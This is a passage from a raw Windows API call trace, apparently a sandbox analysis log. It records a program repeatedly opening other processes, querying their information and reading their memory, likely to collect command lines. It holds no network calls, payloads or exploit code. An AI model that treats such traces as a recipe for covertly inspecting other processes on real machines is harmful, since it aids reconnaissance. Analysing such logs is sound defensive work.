lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.442] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x461c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.442] malloc (_Size=0x74) returned 0xea8ea0 [0349.442] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4622c4, lpBuffer=0xea8ea0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ea0*, lpNumberOfBytesRead=0x0) returned 1 [0349.443] free (_Block=0xea8ea0) [0349.443] CloseHandle (hObject=0xa9c) returned 1 [0349.443] _ui64tow_s (in: _Value=0x16a4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5796") returned 0x0 [0349.444] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5796") returned 4 [0349.444] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.444] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.445] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16a4) returned 0xa9c [0349.445] GetLastError () returned 0x0 [0349.445] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.445] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x20e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.445] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.445] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c25e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.445] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2258, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.445] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.446] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.446] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x20e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.446] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.446] malloc (_Size=0x48) returned 0xea8100 [0349.446] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2298, lpBuffer=0xea8100, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8100*, lpNumberOfBytesRead=0x0) returned 1 [0349.446] free (_Block=0xea8100) [0349.447] CloseHandle (hObject=0xa9c) returned 1 [0349.447] _ui64tow_s (in: _Value=0x16c0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5824") returned 0x0 [0349.447] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5824") returned 4 [0349.447] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.447] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.448] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16c0) returned 0xa9c [0349.448] GetLastError () returned 0x0 [0349.448] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.448] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x378018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.448] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.448] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.448] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.449] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.449] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.449] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x378020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.449] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.449] malloc (_Size=0x6a) returned 0xea8da0 [0349.449] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22ba, lpBuffer=0xea8da0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8da0*, lpNumberOfBytesRead=0x0) returned 1 [0349.450] free (_Block=0xea8da0) [0349.450] CloseHandle (hObject=0xa9c) returned 1 [0349.450] _ui64tow_s (in: _Value=0x16e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5856") returned 0x0 [0349.450] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5856") returned 4 [0349.450] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.450] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.451] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16e0) returned 0xa9c [0349.451] GetLastError () returned 0x0 [0349.451] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.451] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x309018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.451] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.452] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.452] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.452] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.452] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.452] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x309020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.452] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.452] malloc (_Size=0x84) returned 0xe87d30 [0349.452] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822d4, lpBuffer=0xe87d30, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87d30*, lpNumberOfBytesRead=0x0) returned 1 [0349.453] free (_Block=0xe87d30) [0349.453] CloseHandle (hObject=0xa9c) returned 1 [0349.453] _ui64tow_s (in: _Value=0x16fc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5884") returned 0x0 [0349.453] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5884") returned 4 [0349.453] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.454] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.454] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16fc) returned 0xa9c [0349.454] GetLastError () returned 0x0 [0349.454] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.454] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x243018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.455] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.455] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.455] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.455] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.455] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.455] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x243020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.455] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.456] malloc (_Size=0x70) returned 0xea95a0 [0349.456] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d22c0, lpBuffer=0xea95a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea95a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.456] free (_Block=0xea95a0) [0349.456] CloseHandle (hObject=0xa9c) returned 1 [0349.456] _ui64tow_s (in: _Value=0x1718, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5912") returned 0x0 [0349.457] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5912") returned 4 [0349.457] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.457] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.457] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1718) returned 0xa9c [0349.458] GetLastError () returned 0x0 [0349.458] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.458] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x269018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.458] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.458] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.458] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.459] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.459] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.459] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x269020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.459] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.459] malloc (_Size=0x68) returned 0xeb6380 [0349.459] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222b8, lpBuffer=0xeb6380, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0349.460] free (_Block=0xeb6380) [0349.460] CloseHandle (hObject=0xa9c) returned 1 [0349.460] _ui64tow_s (in: _Value=0xc68, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3176") returned 0x0 [0349.460] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3176") returned 4 [0349.460] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.460] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.461] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc68) returned 0xa9c [0349.461] GetLastError () returned 0x0 [0349.461] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.461] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x297018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.461] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.461] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552510, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.462] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552198, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.462] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.462] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.462] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x297020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.462] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551b50, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.462] malloc (_Size=0x5a) returned 0xeb65b0 [0349.462] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5521d8, lpBuffer=0xeb65b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0349.463] free (_Block=0xeb65b0) [0349.463] CloseHandle (hObject=0xa9c) returned 1 [0349.475] _ui64tow_s (in: _Value=0x1260, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4704") returned 0x0 [0349.475] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4704") returned 4 [0349.475] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.475] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.476] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1260) returned 0xa9c [0349.476] GetLastError () returned 0x0 [0349.476] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.476] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.476] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.476] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.476] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.477] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.477] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.477] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.477] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.477] malloc (_Size=0x64) returned 0xeb6150 [0349.477] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb6150, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0349.477] free (_Block=0xeb6150) [0349.478] CloseHandle (hObject=0xa9c) returned 1 [0349.478] _ui64tow_s (in: _Value=0xc6c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3180") returned 0x0 [0349.478] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3180") returned 4 [0349.478] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.478] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.479] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc6c) returned 0xa9c [0349.479] GetLastError () returned 0x0 [0349.479] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.479] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e0018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.479] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.479] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a2470, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.479] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a2118, lpBuffer=0x5ec5a0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.480] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.480] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.480] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e0020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 